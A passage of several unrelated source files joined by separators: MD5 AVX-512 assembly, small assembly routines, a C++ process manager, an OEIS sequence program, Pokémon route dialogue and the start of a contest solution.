; SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
; LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
; DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
; THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
%include "md5_job.asm"
%include "md5_mb_mgr_datastruct.asm"
%include "reg_sizes.asm"
%ifdef HAVE_AS_KNOWS_AVX512
extern md5_mb_x16x2_avx512
[bits 64]
default rel
section .text
%if 1
%ifidn __OUTPUT_FORMAT__, win64
; WINDOWS register definitions
%define arg1 rcx
%define arg2 rdx
%define lane rsi
%else
; UN*X register definitions
%define arg1 rdi
%define arg2 rsi
%define lane rdx
%endif
; Common definitions
%define state arg1
%define job arg2
%define len2 arg2
; idx needs to be in a register not clobberred by md5_mb_x16_avx512
%define idx rbp
%define p r11
%define unused_lanes ymm7
%define job_rax rax
%define len rax
%define num_lanes_inuse r9
%define lane_data r10
%endif ; if 1
; STACK_SPACE needs to be an odd multiple of 8
%define STACK_SPACE 8*8 + 16*10 + 8
;; Byte shift in MEM addr, read a extra byte [addr+16]
%macro MEM_VPSRLDDQ 2
%define %%addr %1
%define %%TMP_YMM %2
vmovdqu %%TMP_YMM, [%%addr + 1]
vmovdqu [%%addr], %%TMP_YMM
mov [%%addr + 31], byte 0
%endmacro
;; Byte shift in MEM addr, read a extra byte [addr-1]
%macro MEM_VPSLLDDQ 2
%define %%addr %1
%define %%TMP_YMM %2
vmovdqu %%TMP_YMM, [%%addr-1]
vmovdqu [%%addr], %%TMP_YMM
mov [%%addr], byte 0
%endmacro
align 64
; JOB* submit_job(MB_MGR *state, JOB_MD5 *job)
; arg 1 : rcx : state
; arg 2 : rdx : job
mk_global md5_mb_mgr_submit_avx512, function
md5_mb_mgr_submit_avx512:
endbranch
sub rsp, STACK_SPACE
; we need to save/restore all GPRs because lower layer clobbers them
mov [rsp + 8*0], rbx
mov [rsp + 8*1], rbp
mov [rsp + 8*2], r12
mov [rsp + 8*3], r13
mov [rsp + 8*4], r14
mov [rsp + 8*5], r15
%ifidn __OUTPUT_FORMAT__, win64
mov [rsp + 8*6], rsi
mov [rsp + 8*7], rdi
vmovdqa [rsp + 8*8 + 16*0], xmm6
vmovdqa [rsp + 8*8 + 16*1], xmm7
vmovdqa [rsp + 8*8 + 16*2], xmm8
vmovdqa [rsp + 8*8 + 16*3], xmm9
vmovdqa [rsp + 8*8 + 16*4], xmm10
vmovdqa [rsp + 8*8 + 16*5], xmm11
vmovdqa [rsp + 8*8 + 16*6], xmm12
vmovdqa [rsp + 8*8 + 16*7], xmm13
vmovdqa [rsp + 8*8 + 16*8], xmm14
vmovdqa [rsp + 8*8 + 16*9], xmm15
%endif
mov lane, [state + _unused_lanes]
and lane, 0x3F
MEM_VPSRLDDQ (state + _unused_lanes), unused_lanes
imul lane_data, lane, _LANE_DATA_size
mov dword [job + _status], STS_BEING_PROCESSED
lea lane_data, [state + _ldata + lane_data]
mov DWORD(len), [job + _len]
shl len, 6 ; low 5 bits store idx
or len, lane
mov [lane_data + _job_in_lane], job
mov [state + _lens + 4*lane], DWORD(len)
; Load digest words from result_digest
vmovdqu xmm0, [job + _result_digest + 0*16]
vmovd [state + _args_digest + 4*lane + 0*4*16*2], xmm0
vpextrd [state + _args_digest + 4*lane + 1*4*16*2], xmm0, 1
vpextrd [state + _args_digest + 4*lane + 2*4*16*2], xmm0, 2
vpextrd [state + _args_digest + 4*lane + 3*4*16*2], xmm0, 3
mov p, [job + _buffer]
mov [state + _args_data_ptr + 8*lane], p
mov DWORD(num_lanes_inuse), [state + _num_lanes_inuse]
add num_lanes_inuse, 1
mov [state + _num_lanes_inuse], DWORD(num_lanes_inuse)
cmp num_lanes_inuse, 32
jne return_null
start_loop:
; Find min length
vmovdqu ymm0, [state + _lens + 0*32]
vmovdqu ymm1, [state + _lens + 1*32]
vpminud ymm2, ymm0, ymm1 ; ymm2 has {D,C,B,A}
vpalignr ymm3, ymm3, ymm2, 8 ; ymm3 has {x,x,D,C}
vpminud ymm2, ymm2, ymm3 ; ymm2 has {x,x,E,F}
vpalignr ymm3, ymm3, ymm2, 4 ; ymm3 has {x,x,x,E}
vpminud ymm2, ymm2, ymm3 ; ymm2 has min value in low dword
vperm2i128 ymm3, ymm2, ymm2, 1 ; ymm3 has halves of ymm2 reversed
vpminud ymm2, ymm2, ymm3 ; ymm2 has min value in low dword
; Find min length
vmovdqu ymm5, [state + _lens + 2*32]
vmovdqu ymm6, [state + _lens + 3*32]
vpminud ymm4, ymm5, ymm6 ; ymm4 has {D,C,B,A}
vpalignr ymm3, ymm3, ymm4, 8 ; ymm3 has {x,x,D,C}
vpminud ymm4, ymm4, ymm3 ; ymm4 has {x,x,E,F}
vpalignr ymm3, ymm3, ymm4, 4 ; ymm3 has {x,x,x,E}
vpminud ymm4, ymm4, ymm3 ; ymm4 has min value in low dword
vperm2i128 ymm3, ymm4, ymm4, 1 ; ymm3 has halves of ymm4 reversed
vpminud ymm4, ymm4, ymm3 ; ymm4 has min value in low dword
vpminud ymm2, ymm2, ymm4 ; ymm2 has min value in low dword
vmovd DWORD(idx), xmm2
mov len2, idx
and idx, 0x3F
shr len2, 6
jz len_is_0
vpand ymm2, ymm2, [rel clear_low_6bits]
vpshufd ymm2, ymm2, 0
vpsubd ymm0, ymm0, ymm2
vpsubd ymm1, ymm1, ymm2
vpsubd ymm5, ymm5, ymm2
vpsubd ymm6, ymm6, ymm2
vmovdqu [state + _lens + 0*32], ymm0
vmovdqu [state + _lens + 1*32], ymm1
vmovdqu [state + _lens + 2*32], ymm5
vmovdqu [state + _lens + 3*32], ymm6
; "state" and "args" are the same address, arg1
; len is arg2
call md5_mb_x16x2_avx512
; state and idx are intact
len_is_0:
; process completed job "idx"
imul lane_data, idx, _LANE_DATA_size
lea lane_data, [state + _ldata + lane_data]
mov job_rax, [lane_data + _job_in_lane]
mov lane, [state + _unused_lanes]
mov qword [lane_data + _job_in_lane], 0
mov dword [job_rax + _status], STS_COMPLETED
shl lane, 8
or lane, idx
MEM_VPSLLDDQ (state + _unused_lanes), unused_lanes
mov [state + _unused_lanes], lane
mov DWORD(num_lanes_inuse), [state + _num_lanes_inuse]
sub num_lanes_inuse, 1
mov [state + _num_lanes_inuse], DWORD(num_lanes_inuse)
mov dword [state + _lens + 4*idx], 0xFFFFFFFF
vmovd xmm0, [state + _args_digest + 4*idx + 0*4*16*2]
vpinsrd xmm0, [state + _args_digest + 4*idx + 1*4*16*2], 1
vpinsrd xmm0, [state + _args_digest + 4*idx + 2*4*16*2], 2
vpinsrd xmm0, [state + _args_digest + 4*idx + 3*4*16*2], 3
vmovdqa [job_rax + _result_digest + 0*16], xmm0
return:
%ifidn __OUTPUT_FORMAT__, win64
vmovdqa xmm6, [rsp + 8*8 + 16*0]
vmovdqa xmm7, [rsp + 8*8 + 16*1]
vmovdqa xmm8, [rsp + 8*8 + 16*2]
vmovdqa xmm9, [rsp + 8*8 + 16*3]
vmovdqa xmm10, [rsp + 8*8 + 16*4]
vmovdqa xmm11, [rsp + 8*8 + 16*5]
vmovdqa xmm12, [rsp + 8*8 + 16*6]
vmovdqa xmm13, [rsp + 8*8 + 16*7]
vmovdqa xmm14, [rsp + 8*8 + 16*8]
vmovdqa xmm15, [rsp + 8*8 + 16*9]
mov rsi, [rsp + 8*6]
mov rdi, [rsp + 8*7]
%endif
mov rbx, [rsp + 8*0]
mov rbp, [rsp + 8*1]
mov r12, [rsp + 8*2]
mov r13, [rsp + 8*3]
mov r14, [rsp + 8*4]
mov r15, [rsp + 8*5]
add rsp, STACK_SPACE
ret
return_null:
xor job_rax, job_rax
jmp return
section .data align=32
align 32
clear_low_6bits:
dq 0x00000000FFFFFFC0, 0x0000000000000000
dq 0x00000000FFFFFFC0, 0x0000000000000000
%else
%ifidn __OUTPUT_FORMAT__, win64
global no_md5_mb_mgr_submit_avx512
no_md5_mb_mgr_submit_avx512:
%endif
%endif ; HAVE_AS_KNOWS_AVX512
|
GLOBAL _sys_call
EXTERN system_call_interrupt
SECTION .text
; -----------------------------------------------------------------------------
; Wrapper for the System Call function in C.
; Parametres:
; -rax: the number of system call.
; -rbx, rcx, rdx, rsi and rdi: system call parameters.
; Return;
; -rax: the return of the system call.
; -----------------------------------------------------------------------------
_sys_call:
mov r8, rax
mov r9, rbx
call system_call_interrupt
iretq
|
;
; Sharp OZ family functions
;
; ported from the OZ-7xx SDK by by Alexander R. Pruss
; by Stefano Bodrato - Oct. 2003
;
;
; gfx functions
;
; int ozputch (int x, int y, char c);
;
; ------
; $Id: ozputch.asm,v 1.3 2016-06-28 14:48:17 dom Exp $
;
SECTION code_clib
PUBLIC ozputch
PUBLIC _ozputch
EXTERN ozputs
ozputch:
_ozputch:
;ld hl,6
ld hl,2
add hl,sp
ld a,(hl)
ld (ozputchbuf),a
ld bc,ozputchbuf
ld (hl),c
inc hl
ld (hl),b
jp ozputs
SECTION bss_clib
ozputchbuf:
defb 0 ; Char to be printed
defb 0 ; string terminator
|
; Floating-Point PrecisionLoss (LossOfPrecision.asm)
; This program demonstrates a simple rounding error in
; often encountered in floating-point operations. Also, the
; program shows how to compare real numbers by examining the
; epsilon (absolute value of the difference) between the numbers.
INCLUDE Irvine32.inc
INCLUDE macros.inc
.code
main PROC
finit
call show_rounding_error
call comparing_reals
exit
main ENDP
;------------------------------------------
show_rounding_error PROC
;------------------------------------------
.data
val1 REAL8 2.0
result REAL8 ?
.code
; multiply sqrt(2.0) * sqrt(2.0)
fld val1 ; load val1 onto stack
fsqrt ; calculate its square root
call ShowFPUStack
fmul ST(0),ST(0) ; st(0) contains the product,
call ShowFPUStack ; which appears to equal 2.0
; subtract 2.0 from ST(0)
fsub val1
call ShowFPUStack
fst result
; Result should be 0.0, but it really equals +4.4408921E-016
ret
show_rounding_error ENDP
;-----------------------------------------------------------
comparing_reals PROC
;
; Proper way to compare to reals for equality by subtracting
; them from each other and examining the remainder.
;-----------------------------------------------------------
.data
epsilon REAL8 1.0E-12
val2 REAL8 0.0
val3 REAL8 1.001E-13 ; equal to val2
;val3 REAL8 1.001E-12 ; not equal to val2
.code
; if( val2 == val3 ), display "equal".
; method:
; if( abs(val2 - val3) < epsilon ), the values are equal.
fld epsilon ; ST(0) = epsilon
fld val2 ; ST(0) = val2
fsub val3 ; ST(0) = val2 - val3
call ShowFPUStack
fabs ; ST(0) = ABS(ST(0))
fcomi ST(0),ST(1)
ja skip
mWrite <"equal",0dh,0ah>
skip:
ret
comparing_reals ENDP
END main |
// Copyright 2014 Fonero Development Foundation and contributors. Licensed
// under the Apache License, Version 2.0. See the COPYING file at the root
// of this distribution or at http://www.apache.org/licenses/LICENSE-2.0
#define FONERO_CORE_REAL_TIMER_FOR_CERTAIN_NOT_JUST_VIRTUAL_TIME
#include "process/ProcessManagerImpl.h"
// ASIO is somewhat particular about when it gets included -- it wants to be the
// first to include <windows.h> -- so we try to include it before everything
// else.
#include "util/asio.h"
#include "main/Application.h"
#include "main/Config.h"
#include "process/PosixSpawnFileActions.h"
#include "process/ProcessManager.h"
#include "process/ProcessManagerImpl.h"
#include "util/Logging.h"
#include "util/Timer.h"
#include "medida/counter.h"
#include "medida/metrics_registry.h"
#include <algorithm>
#include <functional>
#include <iterator>
#include <mutex>
#include <regex>
#include <string>
#ifndef _WIN32
#include <errno.h>
#include <fcntl.h>
#endif
#ifdef __APPLE__
extern char** environ;
#endif
namespace fonero
{
static const asio::error_code ABORT_ERROR_CODE(asio::error::operation_aborted,
asio::system_category());
std::shared_ptr<ProcessManager>
ProcessManager::create(Application& app)
{
return std::make_shared<ProcessManagerImpl>(app);
}
std::atomic<size_t> ProcessManagerImpl::gNumProcessesActive{0};
class ProcessExitEvent::Impl
: public std::enable_shared_from_this<ProcessExitEvent::Impl>
{
public:
std::shared_ptr<RealTimer> mOuterTimer;
std::shared_ptr<asio::error_code> mOuterEc;
std::string mCmdLine;
std::string mOutFile;
bool mRunning{false};
#ifdef _WIN32
asio::windows::object_handle mProcessHandle;
#endif
std::weak_ptr<ProcessManagerImpl> mProcManagerImpl;
int mProcessId{-1};
Impl(std::shared_ptr<RealTimer> const& outerTimer,
std::shared_ptr<asio::error_code> const& outerEc,
std::string const& cmdLine, std::string const& outFile,
std::weak_ptr<ProcessManagerImpl> pm)
: mOuterTimer(outerTimer)
, mOuterEc(outerEc)
, mCmdLine(cmdLine)
, mOutFile(outFile)
#ifdef _WIN32
, mProcessHandle(outerTimer->get_io_service())
#endif
, mProcManagerImpl(pm)
{
}
void run();
void
cancel(asio::error_code const& ec)
{
*mOuterEc = ec;
mOuterTimer->cancel();
}
int
getProcessId() const
{
return mProcessId;
}
};
size_t
ProcessManagerImpl::getNumRunningProcesses()
{
return gNumProcessesActive;
}
ProcessManagerImpl::~ProcessManagerImpl()
{
const auto killProcess = [&](ProcessExitEvent::Impl& impl) {
impl.cancel(ABORT_ERROR_CODE);
forceShutdown(impl);
};
// Use SIGKILL on any processes we already used SIGINT on
while (!mKillableImpls.empty())
{
auto impl = std::move(mKillableImpls.front());
mKillableImpls.pop_front();
killProcess(*impl);
}
// Use SIGKILL on any processes we haven't politely asked to exit yet
for (auto& pair : mImpls)
{
killProcess(*pair.second);
}
}
bool
ProcessManagerImpl::isShutdown() const
{
return mIsShutdown;
}
void
ProcessManagerImpl::shutdown()
{
if (!mIsShutdown)
{
mIsShutdown = true;
auto ec = ABORT_ERROR_CODE;
// Cancel all pending.
std::lock_guard<std::recursive_mutex> guard(mImplsMutex);
for (auto& pending : mPendingImpls)
{
pending->cancel(ec);
}
mPendingImpls.clear();
// Cancel all running.
for (auto& pair : mImpls)
{
// Mark it as "ready to be killed"
mKillableImpls.push_back(pair.second);
// Cancel any pending events and shut down the process cleanly
pair.second->cancel(ec);
cleanShutdown(*pair.second);
}
mImpls.clear();
gNumProcessesActive = 0;
#ifndef _WIN32
mSigChild.cancel(ec);
#endif
}
}
#ifdef _WIN32
#include <tchar.h>
#include <windows.h>
ProcessManagerImpl::ProcessManagerImpl(Application& app)
: mMaxProcesses(app.getConfig().MAX_CONCURRENT_SUBPROCESSES)
, mIOService(app.getClock().getIOService())
, mSigChild(mIOService)
{
}
void
ProcessManagerImpl::startSignalWait()
{
// No-op on windows, uses waitable object handles
}
void
ProcessManagerImpl::handleSignalWait()
{
// No-op on windows, uses waitable object handles
}
void
ProcessExitEvent::Impl::run()
{
auto manager = mProcManagerImpl.lock();
assert(manager && !manager->isShutdown());
if (mRunning)
{
CLOG(ERROR, "Process") << "ProcessExitEvent::Impl already running";
throw std::runtime_error("ProcessExitEvent::Impl already running");
}
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
ZeroMemory(&pi, sizeof(pi));
si.cb = sizeof(si);
LPSTR cmd = (LPSTR)mCmdLine.data();
if (!mOutFile.empty())
{
SECURITY_ATTRIBUTES sa;
sa.nLength = sizeof(sa);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE;
si.cb = sizeof(STARTUPINFO);
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdOutput =
CreateFile((LPCTSTR)mOutFile.c_str(), // name of the file
GENERIC_WRITE, // open for writing
FILE_SHARE_WRITE | FILE_SHARE_READ, // share r/w access
&sa, // security attributes
CREATE_ALWAYS, // overwrite if existing
FILE_ATTRIBUTE_NORMAL, // normal file
NULL); // no attr. template
if (si.hStdOutput == INVALID_HANDLE_VALUE)
{
CLOG(ERROR, "Process") << "CreateFile() failed: " << GetLastError();
throw std::runtime_error("CreateFile() failed");
}
}
if (!CreateProcess(NULL, // No module name (use command line)
cmd, // Command line
nullptr, // Process handle not inheritable
nullptr, // Thread handle not inheritable
TRUE, // Inherit file handles
CREATE_NEW_PROCESS_GROUP, // Create a new process group
nullptr, // Use parent's environment block
nullptr, // Use parent's starting directory
&si, // Pointer to STARTUPINFO structure
&pi) // Pointer to PROCESS_INFORMATION structure
)
{
if (si.hStdOutput != NULL)
{
CloseHandle(si.hStdOutput);
}
CLOG(ERROR, "Process") << "CreateProcess() failed: " << GetLastError();
throw std::runtime_error("CreateProcess() failed");
}
CloseHandle(si.hStdOutput);
CloseHandle(pi.hThread); // we don't need this handle
pi.hThread = INVALID_HANDLE_VALUE;
mProcessHandle.assign(pi.hProcess);
mProcessId = pi.dwProcessId;
// capture a shared pointer to "this" to keep Impl alive until the end
// of the execution
auto sf = shared_from_this();
mProcessHandle.async_wait([sf](asio::error_code ec) {
auto manager = sf->mProcManagerImpl.lock();
if (!manager || manager->isShutdown())
{
return;
}
--ProcessManagerImpl::gNumProcessesActive;
// Fire off any new processes we've made room for before we
// trigger the callback.
manager->maybeRunPendingProcesses();
if (ec)
{
*(sf->mOuterEc) = ec;
}
else
{
DWORD exitCode;
BOOL res = GetExitCodeProcess(sf->mProcessHandle.native_handle(),
&exitCode);
if (!res)
{
exitCode = 1;
}
ec = asio::error_code(exitCode, asio::system_category());
}
manager->handleProcessTermination(sf->mProcessId, ec.value());
sf->cancel(ec);
});
mRunning = true;
}
void
ProcessManagerImpl::handleProcessTermination(int pid, int /*status*/)
{
std::lock_guard<std::recursive_mutex> guard(mImplsMutex);
mImpls.erase(pid);
}
void
ProcessManagerImpl::cleanShutdown(ProcessExitEvent::Impl& impl)
{
if (!GenerateConsoleCtrlEvent(CTRL_C_EVENT, impl.getProcessId()))
{
CLOG(WARNING, "Process")
<< "failed to cleanly shutdown process with pid "
<< impl.getProcessId() << ", error code " << GetLastError();
}
}
void
ProcessManagerImpl::forceShutdown(ProcessExitEvent::Impl& impl)
{
if (!TerminateProcess(impl.mProcessHandle.native_handle(), 1))
{
CLOG(WARNING, "Process")
<< "failed to force shutdown of process with pid "
<< impl.getProcessId() << ", error code " << GetLastError();
}
// Cancel any pending events on the handle. Ignore error code
asio::error_code dummy;
impl.mProcessHandle.cancel(dummy);
}
#else
#include <spawn.h>
#include <sys/wait.h>
ProcessManagerImpl::ProcessManagerImpl(Application& app)
: mMaxProcesses(app.getConfig().MAX_CONCURRENT_SUBPROCESSES)
, mIOService(app.getClock().getIOService())
, mSigChild(mIOService, SIGCHLD)
{
std::lock_guard<std::recursive_mutex> guard(mImplsMutex);
startSignalWait();
}
void
ProcessManagerImpl::startSignalWait()
{
std::lock_guard<std::recursive_mutex> guard(mImplsMutex);
mSigChild.async_wait(
std::bind(&ProcessManagerImpl::handleSignalWait, this));
}
void
ProcessManagerImpl::handleSignalWait()
{
if (isShutdown())
{
return;
}
// Store tuples (pid, status)
std::vector<std::tuple<int, int>> signaledChildren;
std::lock_guard<std::recursive_mutex> guard(mImplsMutex);
for (auto const& implPair : mImpls)
{
const int pid = implPair.first;
int status = 0;
// If we find the child for which we received this SIGCHLD signal,
// store the pid and status
if (waitpid(pid, &status, WNOHANG) > 0)
{
signaledChildren.push_back(std::make_tuple(pid, status));
}
}
if (!signaledChildren.empty())
{
CLOG(DEBUG, "Process") << "found " << signaledChildren.size()
<< " child processes that terminated";
// Now go all over all (pid, status) and handle them
for (auto const& pidStatus : signaledChildren)
{
const int pid = std::get<0>(pidStatus);
const int status = std::get<1>(pidStatus);
handleProcessTermination(pid, status);
}
}
startSignalWait();
}
void
ProcessManagerImpl::handleProcessTermination(int pid, int status)
{
std::lock_guard<std::recursive_mutex> guard(mImplsMutex);
auto pair = mImpls.find(pid);
if (pair == mImpls.end())
{
CLOG(DEBUG, "Process") << "failed to find process with pid " << pid;
return;
}
auto impl = pair->second;
asio::error_code ec;
if (WIFEXITED(status))
{
if (WEXITSTATUS(status) == 0)
{
CLOG(DEBUG, "Process")
<< "process " << pid << " exited " << WEXITSTATUS(status)
<< ": " << impl->mCmdLine;
}
else
{
CLOG(WARNING, "Process")
<< "process " << pid << " exited " << WEXITSTATUS(status)
<< ": " << impl->mCmdLine;
}
#ifdef __linux__
// Linux posix_spawnp does not fault on file-not-found in the
// parent process at the point of invocation, as BSD does; so
// rather than a fatal error / throw we get an ambiguous and
// easily-overlooked shell-like 'exit 127' on waitpid.
if (WEXITSTATUS(status) == 127)
{
CLOG(WARNING, "Process") << "";
CLOG(WARNING, "Process") << "************";
CLOG(WARNING, "Process") << "";
CLOG(WARNING, "Process") << " likely 'missing command':";
CLOG(WARNING, "Process") << "";
CLOG(WARNING, "Process") << " " << impl->mCmdLine;
CLOG(WARNING, "Process") << "";
CLOG(WARNING, "Process") << "************";
CLOG(WARNING, "Process") << "";
}
#endif
// FIXME: this doesn't _quite_ do the right thing; it conveys
// the exit status back to the caller but it puts it in "system
// category" which on POSIX means if you call .message() on it
// you'll get perror(value()), which is not correct. Errno has
// nothing to do with process exit values. We could make a new
// error_category to tighten this up, but it's a bunch of work
// just to convey the meaningless string "exited" to the user.
ec = asio::error_code(WEXITSTATUS(status), asio::system_category());
}
else
{
// FIXME: for now we also collapse all non-WIFEXITED exits on
// posix into a single "exit 1" error_code. This is enough
// for most callers; we can enrich it if anyone really wants
// to differentiate various signals that might have killed
// the child.
ec = asio::error_code(1, asio::system_category());
}
--gNumProcessesActive;
mImpls.erase(pair);
// Fire off any new processes we've made room for before we
// trigger the callback.
maybeRunPendingProcesses();
impl->cancel(ec);
}
void
ProcessManagerImpl::cleanShutdown(ProcessExitEvent::Impl& impl)
{
const int pid = impl.getProcessId();
if (kill(pid, SIGINT) != 0)
{
CLOG(WARNING, "Process")
<< "kill (SIGINT) failed for pid " << pid << ", errno " << errno;
}
}
void
ProcessManagerImpl::forceShutdown(ProcessExitEvent::Impl& impl)
{
const int pid = impl.getProcessId();
if (kill(pid, SIGKILL) != 0)
{
CLOG(WARNING, "Process")
<< "kill (SIGKILL) failed for pid " << pid << ", errno " << errno;
}
}
static std::vector<std::string>
split(std::string const& s)
{
std::vector<std::string> parts;
std::regex ws_re("\\s+");
std::copy(std::sregex_token_iterator(s.begin(), s.end(), ws_re, -1),
std::sregex_token_iterator(), std::back_inserter(parts));
return parts;
}
void
ProcessExitEvent::Impl::run()
{
auto manager = mProcManagerImpl.lock();
assert(!manager->isShutdown());
if (mRunning)
{
CLOG(ERROR, "Process") << "ProcessExitEvent::Impl already running";
throw std::runtime_error("ProcessExitEvent::Impl already running");
}
std::vector<std::string> args = split(mCmdLine);
std::vector<char*> argv;
for (auto& a : args)
{
argv.push_back((char*)a.data());
}
argv.push_back(nullptr);
int err = 0;
PosixSpawnFileActions fileActions;
if (!mOutFile.empty())
{
fileActions.addOpen(1, mOutFile, O_RDWR | O_CREAT, 0600);
}
// Iterate through all possibly open file descriptors except stdin, stdout,
// and stderr and set FD_CLOEXEC so the subprocess doesn't inherit them
const int maxFds = sysconf(_SC_OPEN_MAX);
// as the space of open file descriptors is arbitrary large
// we use as a heuristic the number of consecutive unused descriptors
// as an indication that we're past the range where descriptors are
// allocated
// a better way would be to enumerate the opened descriptors, but there
// doesn't seem to be a portable way to do this
const int maxGAP = 512;
for (int fd = 3, lastFd = 3; (fd < maxFds) && ((fd - lastFd) < maxGAP);
++fd)
{
int flags = fcntl(fd, F_GETFD);
if (flags != -1)
{
// set if it was not already set
if ((flags & FD_CLOEXEC) == 0)
{
fcntl(fd, F_SETFD, flags | FD_CLOEXEC);
}
lastFd = fd;
}
}
err = posix_spawnp(&mProcessId, argv[0], fileActions,
nullptr, // posix_spawnattr_t*
argv.data(), environ);
if (err)
{
CLOG(ERROR, "Process") << "posix_spawn() failed: " << strerror(err);
throw std::runtime_error("posix_spawn() failed");
}
mRunning = true;
}
#endif
ProcessExitEvent
ProcessManagerImpl::runProcess(std::string const& cmdLine, std::string outFile)
{
std::lock_guard<std::recursive_mutex> guard(mImplsMutex);
ProcessExitEvent pe(mIOService);
std::shared_ptr<ProcessManagerImpl> self =
std::static_pointer_cast<ProcessManagerImpl>(shared_from_this());
std::weak_ptr<ProcessManagerImpl> weakSelf(self);
pe.mImpl = std::make_shared<ProcessExitEvent::Impl>(
pe.mTimer, pe.mEc, cmdLine, outFile, weakSelf);
mPendingImpls.push_back(pe.mImpl);
maybeRunPendingProcesses();
return pe;
}
void
ProcessManagerImpl::maybeRunPendingProcesses()
{
if (mIsShutdown)
{
return;
}
std::lock_guard<std::recursive_mutex> guard(mImplsMutex);
while (!mPendingImpls.empty() && gNumProcessesActive < mMaxProcesses)
{
auto i = mPendingImpls.front();
mPendingImpls.pop_front();
try
{
CLOG(DEBUG, "Process") << "Running: " << i->mCmdLine;
i->run();
mImpls[i->getProcessId()] = i;
++gNumProcessesActive;
}
catch (std::runtime_error& e)
{
i->cancel(std::make_error_code(std::errc::io_error));
CLOG(ERROR, "Process") << "Error starting process: " << e.what();
CLOG(ERROR, "Process") << "When running: " << i->mCmdLine;
}
}
}
ProcessExitEvent::ProcessExitEvent(asio::io_service& io_service)
: mTimer(std::make_shared<RealTimer>(io_service))
, mImpl(nullptr)
, mEc(std::make_shared<asio::error_code>())
{
mTimer->expires_from_now(std::chrono::system_clock::duration::max());
}
ProcessExitEvent::~ProcessExitEvent()
{
}
void
ProcessExitEvent::async_wait(
std::function<void(asio::error_code)> const& handler)
{
// Unfortunately when you cancel a timer, asio delivers
// asio::error::operation_aborted to all the waiters, even if you pass a
// different error_code to the cancel() call. So we have to route the
// _actual_ process-exit condition through _another_ variable shared
// between ProcessExitEvent and the per-platform handlers.
auto ec = mEc;
std::function<void(asio::error_code)> h(handler);
mTimer->async_wait([ec, h](asio::error_code) { h(*ec); });
}
}
|
; A154635: Ratio of the sum of the bends of the 5-dimensional spheres added in the n-th generation of Apollonian packing to the sum of the bends of the initial configuration of seven mutually tangent spheres.
; Submitted by Jamie Morken(s4.)
; 1,2,15,108,774,5544,39708,284400,2036952,14589216,104492016,748400832,5360254560,38391631488,274971524544,1969422407424,14105550112128,101027866452480,723589630947072,5182549848861696,37118861005211136,265855588948518912,1904131545556884480,13637918830763962368,97678561372770392064,699600977997579362304,5010736455744012546048,35888285777966624194560,257041867489268918280192,1841005225246351601074176,13185790597035199298912256,94440293424803484784852992,676407603816216682485350400
mov $5,2
mov $7,$0
lpb $5
mov $0,$7
sub $5,1
add $0,$5
sub $0,1
mov $1,1
mov $2,1
mov $3,$0
lpb $3
add $1,$2
add $2,$1
mul $1,6
sub $3,1
lpe
mov $0,$2
mov $4,$5
mul $4,$2
add $6,$4
lpe
min $7,1
mul $7,$0
mov $0,$6
sub $0,$7
|
_Route14BattleText1::
text "You need to use"
line "TMs to teach good"
cont "moves to #MON!"
done
_Route14EndBattleText1::
text "Not"
line "good enough!"
prompt
_Route14AfterBattleText1::
text "You have some HMs,"
line "right? #MON"
cont "can't ever forget"
cont "those moves."
done
_Route14BattleText2::
text "My bird #MON"
line "should be ready"
cont "for battle."
done
_Route14EndBattleText2::
text "Not"
line "ready yet!"
prompt
_Route14AfterBattleText2::
text "They need to learn"
line "better moves."
done
_Route14BattleText3::
text "TMs are on sale"
line "in CELADON!"
cont "But, only a few"
cont "people have HMs!"
done
_Route14EndBattleText3::
text "Aww,"
line "bummer!"
prompt
_Route14AfterBattleText3::
text "Teach #MON"
line "moves of the same"
cont "element type for"
cont "more power."
done
_Route14BattleText4::
text "Have you taught"
line "your bird #MON"
cont "how to FLY?"
done
_Route14EndBattleText4::
text "Shot"
line "down in flames!"
prompt
_Route14AfterBattleText4::
text "Bird #MON are"
line "my true love!"
done
_Route14BattleText5::
text "Have you heard of"
line "the legendary"
cont "#MON?"
done
_Route14EndBattleText5::
text "Why?"
line "Why'd I lose?"
prompt
_Route14AfterBattleText5::
text "The 3 legendary"
line "#MON are all"
cont "birds of prey."
done
_Route14BattleText6::
text "I'm not into it,"
line "but OK! Let's go!"
done
_Route14EndBattleText6::
text "I"
line "knew it!"
prompt
_Route14AfterBattleText6::
text "Winning, losing,"
line "it doesn't matter"
cont "in the long run!"
done
_Route14BattleText7::
text "C'mon, c'mon."
line "Let's go, let's"
cont "go, let's go!"
done
_Route14EndBattleText7::
text "Arrg!"
line "Lost! Get lost!"
prompt
_Route14AfterBattleText7::
text "What, what, what?"
line "What do you want?"
done
_Route14BattleText8::
text "Perfect! I need to"
line "burn some time!"
done
_Route14EndBattleText8::
text "What?"
line "You!?"
prompt
_Route14AfterBattleText8::
text "Raising #MON"
line "is a drag, man."
done
_Route14BattleText9::
text "We ride out here"
line "because there's"
cont "more room!"
done
_Route14EndBattleText9::
text "Wipe out!"
prompt
_Route14AfterBattleText9::
text "It's cool you"
line "made your #MON"
cont "so strong!"
para "Might is right!"
line "And you know it!"
done
_Route14BattleText10::
text "#MON fight?"
line "Cool! Rumble!"
done
_Route14EndBattleText10::
text "Blown"
line "away!"
prompt
_Route14AfterBattleText10::
text "You know who'd"
line "win, you and me"
cont "one on one!"
done
_Route14Text11::
text "ROUTE 14"
line "West to FUCHSIA"
cont "CITY"
done
|
/*
* @author Nickel_Angel (1239004072@qq.com)
* @copyright Copyright (c) 2021
*/
#include <algorithm>
#include <cctype>
#include <cstdio>
#include <cstring>
#include <iostream>
const int maxn = 1010;
const int p = 1e9 + 7;
int n, T, C[maxn][maxn];
int head[maxn], to[maxn << 1], dir[maxn << 1], next[maxn << 1], tot = 0;
int f[maxn][maxn], size[maxn], sum[maxn], g[maxn];
template<typename T>
inline void input(T &x)
{
x = 0;
char ch = getchar();
bool f = false;
while (!isdigit(ch))
{
f |= (ch == '-');
ch = getchar();
}
